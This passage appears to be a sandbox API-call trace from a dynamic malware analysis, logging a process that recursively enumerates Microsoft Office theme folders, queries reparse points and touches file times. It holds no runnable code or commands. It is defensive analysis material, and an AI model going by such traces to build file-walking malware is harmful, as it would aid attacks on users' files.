(HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.161] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefeb80 [0055.174] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.177] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.178] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.184] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.186] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.201] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0055.201] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0055.201] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.201] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.201] GetLastError () returned 0x12 [0055.201] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.201] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.202] GetLastError () returned 0x12 [0055.202] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb80) returned 1 [0055.202] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.202] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefec88) returned 1 [0055.202] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0055.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.204] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf013b0 [0055.204] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf013b0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf013b0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf013b0) returned 1 [0055.204] NtClose (Handle=0x17c) returned 0x0 [0055.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefec88 [0055.204] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.205] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.205] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefeb80 [0055.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00580 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeff9f0 [0055.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.205] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf005a0 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeffaf8 [0055.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.205] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0055.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.206] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.206] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf005c0 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeffc00 [0055.206] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.206] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.206] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.206] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf005e0 [0055.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeffd08 [0055.206] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.206] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.206] GetLastError () returned 0x12 [0055.206] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.206] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.206] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.207] GetLastError () returned 0x12 [0055.207] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefec88) returned 1 [0055.207] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.207] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb80) returned 1 [0055.207] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0055.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.223] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf013b0 [0055.223] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf013b0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf013b0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.223] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf013b0) returned 1 [0055.223] NtClose (Handle=0x170) returned 0x0 [0055.223] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.223] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefeb80 [0055.224] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.224] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.224] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, 